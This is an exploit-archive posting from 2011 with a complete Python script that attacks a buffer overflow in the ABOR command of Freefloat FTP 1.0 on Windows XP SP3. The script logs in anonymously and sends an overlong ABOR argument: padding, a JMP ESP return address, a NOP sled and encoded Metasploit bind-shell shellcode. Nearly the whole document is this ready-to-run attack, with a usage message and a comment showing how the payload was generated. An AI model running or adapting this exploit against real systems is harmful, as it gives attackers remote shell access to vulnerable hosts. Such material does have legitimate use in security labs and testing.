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Freefloat FTP 1.0 ABOR Buffer Overflow

Freefloat FTP 1.0 ABOR Buffer Overflow
Posted Jul 19, 2011
Authored by Craig Freyman

Freefloat FTP version 1.0 ABOR buffer overflow exploit.

tags | exploit, overflow
MD5 | 2e14b23a633580ff1cb712a88c328ba2

Freefloat FTP 1.0 ABOR Buffer Overflow

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#!/usr/bin/python
#Title: Freefloat FTP 1.0 ABOR Exploit
#Author: Craig Freyman (@cd1zz)
#Date: July 18, 2011
#Tested on Windows XP SP3

import socket,sys,time,struct

if len(sys.argv) < 2:
print "[-]Usage: %s <target addr> " % sys.argv[0]

sys.exit(0)

target = sys.argv[1]

if len(sys.argv) > 2:
platform = sys.argv[2]

#./msfpayload windows/shell_bind_tcp r | ./msfencode -e x86/shikata_ga_nai -b "\x00\xff\x0d\x0a\x3d\x20"
#[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)

shellcode = ("\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33\xc9"
"\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4\x4f"
"\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8"
"\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7"
"\xdb\x70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\xf5"
"\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c"
"\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0"
"\x48\x2d\x76\xe3\xb5\x64\xf3\xd0\x4e\x77\xd5\x28\xae\x49"
"\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96"
"\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82"
"\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf"
"\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41"
"\x40\x5c\x64\x0e\xa5\x53\x97\xce\xa1\xe4\xe4\xfc\x6e\x5f"
"\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a"
"\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b"
"\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a"
"\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3"
"\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea"
"\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8"
"\xfa\x86\x0b\x78\xfa\x82\xfb\x19\x69\x49\xfb\x54\x92\xc6"
"\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea"
"\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30"
"\x11\xd0\x48\xf3\xcb\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd\x53"
"\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85"
"\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25"
"\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10"
"\xba\x1e\x53\x31")

#7C874413 FFE4 JMP ESP kernel32.dll
ret = struct.pack('<L', 0x7C874413)
padding = "\x90" * 150
crash = "\x41" * 246 + ret + padding + shellcode

print "\
[*] Freefloat FTP 1.0 ABOR Exploit\n\
[*] Author: Craig Freyman (@cd1zz)\n\
[*] Connecting to "+target

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((target,21))
except:
print "[-] Connection to "+target+" failed!"
sys.exit(0)

print "[*] Sending " + `len(crash)` + " byte crash..."

s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS \r\n")
s.recv(1024)
s.send("ABOR " + crash + "\r\n")
time.sleep(4)


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